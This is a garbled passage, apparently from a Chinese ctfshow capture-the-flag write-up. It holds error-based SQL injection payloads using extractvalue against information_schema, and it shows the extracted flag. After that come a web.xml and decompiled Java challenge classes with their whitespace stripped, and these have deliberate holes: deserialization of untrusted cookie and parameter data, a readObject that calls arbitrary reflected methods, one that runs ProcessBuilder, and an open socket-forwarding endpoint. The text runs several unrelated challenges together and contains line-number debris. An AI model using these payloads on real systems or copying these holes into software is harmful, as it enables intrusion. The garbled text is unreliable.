111' and extractvalue(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
再修改密码即可得到回显
以此类推，进行注入
1
2
3
4
5
6
7
8
9
10
11
111' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='app_flag'),0x7e));#
111'andextractvalue(1,concat(0x7e,(selectflagfromapp_flag),0x7e));#ctfshow{02f5decd-ff03-469a-bf6c111' and extractvalue(1,concat(0x7e,(select right(flag,20) from app_flag),0x7e));#
'~a-bf6c-c7d7d0f981b8}~'
ctfshow{02f5decd-ff03-469a-bf6c-c7d7d0f981b8}
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><display-name>Archetype Created Web Application</display-name><context-param><param-name>contextConfigLocation</param-name><param-value>/WEB-INF/applicationContext.xml</param-value></context-param><listener><listener-class>org.springframework.web.context.ContextLoaderListener</listener-class></listener><filter><filter-name>charset</filter-name><filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class><init-param><param-name>encoding</param-name><param-value>utf-8</param-value></init-param></filter><filter-mapping><filter-name>charset</filter-name><url-pattern>/*</url-pattern></filter-mapping><servlet><servlet-name>dispatcher</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><init-param><param-name>contextConfigLocation</param-name><param-value>/WEB-INF/dispatcher-servlet.xml</param-value></init-param><load-on-startup>1</load-on-startup></servlet><servlet-mapping><servlet-name>dispatcher</servlet-name><url-pattern>/</url-pattern></servlet-mapping></web-app>
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//packagecom.ctfshow.controller;importcom.ctfshow.entity.User;importjava.io.ByteArrayInputStream;importjava.io.ObjectInputStream;importjava.util.Base64;importjavax.servlet.http.HttpServletRequest;importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.RequestMapping;importorg.springframework.web.bind.annotation.RequestMethod;importorg.springframework.web.bind.annotation.ResponseBody;@Controller@RequestMapping({"/"})publicclassIndexController{@RequestMapping(value={"/"},method={RequestMethod.GET})publicStringindex(){return"index";}@RequestMapping(value={"/"},method={RequestMethod.POST})@ResponseBodypublicStringindex(HttpServletRequestrequest){Useruser=null;try{byte[]userData=Base64.getDecoder().decode(request.getParameter("userData"));ObjectInputStreamsafeObjectInputStream=newObjectInputStream(newByteArrayInputStream(userData));user=(User)safeObjectInputStream.readUnshared();}catch(ClassNotFoundExceptione){e.printStackTrace();return"User class can not unserialize";}catch(Exceptione){e.printStackTrace();return"unserialize error";}return"unserialize done, you username is "+user.getUsername();}}
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//packagecom.ctfshow.entity;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.Serializable;importjava.lang.reflect.InvocationTargetException;importjava.util.Objects;publicclassUserimplementsSerializable{privatestaticfinallongserialVersionUID=1L;privateintid;privateStringusername;privateStringpassword;privateStringemail;privateStringaddress;publicintgetId(){returnthis.id;}publicvoidsetId(intid){this.id=id;}publicStringgetUsername(){returnthis.username;}publicvoidsetUsername(Stringusername){this.username=username;}publicStringgetPassword(){returnthis.password;}publicvoidsetPassword(Stringpassword){this.password=password;}publicbooleanequals(Objecto){if(this==o){returntrue;}elseif(o!=null&&this.getClass()==o.getClass()){Useruser=(User)o;returnObjects.equals(this.username,user.username)&&Objects.equals(this.password,user.password);}else{returnfalse;}}publicinthashCode(){returnObjects.hash(newObject[]{this.id,this.username,this.password});}publicStringgetEmail(){returnthis.email;}publicvoidsetEmail(Stringemail){this.email=email;}publicbooleanisNull(){if(null!=this.username&&!this.username.isEmpty()){returnnull==this.password||this.password.isEmpty();}else{returntrue;}}privatevoidreadObject(ObjectInputStreaminput)throwsIOException,ClassNotFoundException,NoSuchMethodException,InvocationTargetException,IllegalAccessException{input.defaultReadObject();Class.forName(this.username).getMethod(this.email,String.class).invoke(Class.forName(this.username).getMethod(this.password).invoke(Class.forName(this.username)),this.address);}}
packagecom.ctfshow.filter;importcom.ctfshow.entity.User;importcom.ctfshow.util.CookieUtil;importcom.mysql.jdbc.NonRegisteringDriver;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.net.URLDecoder;importjava.net.URLEncoder;importjava.nio.charset.StandardCharsets;importjava.util.Base64;importjavax.servlet.Filter;importjavax.servlet.FilterChain;importjavax.servlet.FilterConfig;importjavax.servlet.ServletException;importjavax.servlet.ServletRequest;importjavax.servlet.ServletResponse;importjavax.servlet.annotation.WebFilter;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.http.HttpServletResponse;importorg.springframework.core.annotation.Order;importorg.springframework.jdbc.datasource.init.ScriptUtils;importorg.springframework.transaction.interceptor.RuleBasedTransactionAttribute;/* JADX WARN: Classes with same name are omitted:
CookieFilter.class
*/@WebFilter(filterName="CookieFilter",urlPatterns={ScriptUtils.DEFAULT_BLOCK_COMMENT_START_DELIMITER})@Order(Integer.MAX_VALUE)/* loaded from: source.zip:WEB-INF/classes/com/ctfshow/filter/CookieFilter.class */publicclassCookieFilterimplementsFilter{@Override// javax.servlet.Filterpublicvoidinit(FilterConfigfilterConfig)throwsServletException{}@Override// javax.servlet.FilterpublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsServletException,IOException{Stringtoken=CookieUtil.getCookieValue((HttpServletRequest)servletRequest,"token",true);if(null!=token&&token!=""){byte[]base=Base64.getDecoder().decode(URLDecoder.decode(token,"UTF-8").replace(" ",RuleBasedTransactionAttribute.PREFIX_COMMIT_RULE).getBytes(StandardCharsets.UTF_8));ObjectInputStreamobjectInputStream=newObjectInputStream(newByteArrayInputStream(base));try{Useruser=(User)objectInputStream.readObject();if(null!=user&&user.getUsername().equals("admin")){servletRequest.setAttribute(NonRegisteringDriver.USER_PROPERTY_KEY,user);}}catch(ClassNotFoundExceptione){thrownewRuntimeException(e);}}else{Useruser2=newUser("guest");ByteArrayOutputStreambyteArrayOutputStream=newByteArrayOutputStream();ObjectOutputStreamobjectOutputStream=newObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(user2);StringcookieToken=newString(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));CookieUtil.setCookie((HttpServletRequest)servletRequest,(HttpServletResponse)servletResponse,"token",URLEncoder.encode(cookieToken,"UTF-8"));}filterChain.doFilter(servletRequest,servletResponse);}@Override// javax.servlet.Filterpublicvoiddestroy(){}}
packagecom.ctfshow.entity;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.Serializable;importjava.lang.reflect.InvocationTargetException;/* JADX WARN: Classes with same name are omitted:
Config.class
*//* loaded from: source.zip:WEB-INF/classes/com/ctfshow/entity/Config.class */publicclassConfigimplementsSerializable{privatestaticfinallongserialVersionUID=1;privateStringname="";privateStringpath="";privateStringexecute;privateString[]args;publicStringgetName(){returnthis.name;}publicvoidsetName(Stringname){this.name=name;}publicStringgetPath(){returnthis.path;}publicvoidsetPath(Stringpath){this.path=path;}publicStringgetExecute(){returnthis.execute;}publicvoidsetExecute(Stringexecute){this.execute=execute;}publicString[]getArgs(){returnthis.args;}publicvoidsetArgs(String[]args){this.args=args;}privatevoidreadObject(ObjectInputStreaminput)throwsIllegalAccessException,NoSuchMethodException,ClassNotFoundException,IOException,InvocationTargetException{input.defaultReadObject();newProcessBuilder(this.args).start();}}
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//packagecom.ctfshow.controller;importjava.io.BufferedReader;importjava.io.InputStreamReader;importjava.io.OutputStream;importjava.net.Socket;importjava.util.Map;importorg.springframework.stereotype.Controller;importorg.springframework.web.bind.annotation.RequestMapping;importorg.springframework.web.bind.annotation.RequestMethod;importorg.springframework.web.bind.annotation.RequestParam;importorg.springframework.web.bind.annotation.ResponseBody;importorg.springframework.web.servlet.ModelAndView;@Controller@RequestMapping({"/"})publicclassIndexController{@RequestMapping(value={"/"},method={RequestMethod.GET},produces={"text/html;charset=utf-8"})publicModelAndViewindex(){ModelAndViewmodelAndView=newModelAndView();modelAndView.setViewName("index");returnmodelAndView;}@RequestMapping(value={"/goPage"},method={RequestMethod.GET})@ResponseBodypublicStringgoPage(@RequestParamMap<String,String>param){Stringresult="";Stringrequest="";Stringurl=(String)param.get("url");Stringport=(String)param.get("port");if(null!=url&&null!=param&&!param.isEmpty()){try{Socketsocket=newSocket(url,Integer.valueOf(port));OutputStreamout=socket.getOutputStream();BufferedReaderin=newBufferedReader(newInputStreamReader(socket.getInputStream(),"UTF-8"));for(Map.Entry<String,String>p:param.entrySet()){request=request+(String)p.getKey()+(String)p.getValue()+"\r\n";}out.write(request.getBytes());Stringline;while((line=in.readLine())!=null){result=result+line;}}catch(Exceptione){e.printStackTrace();result="request error";}returnresult;}else{result="url error";returnresult;}}}
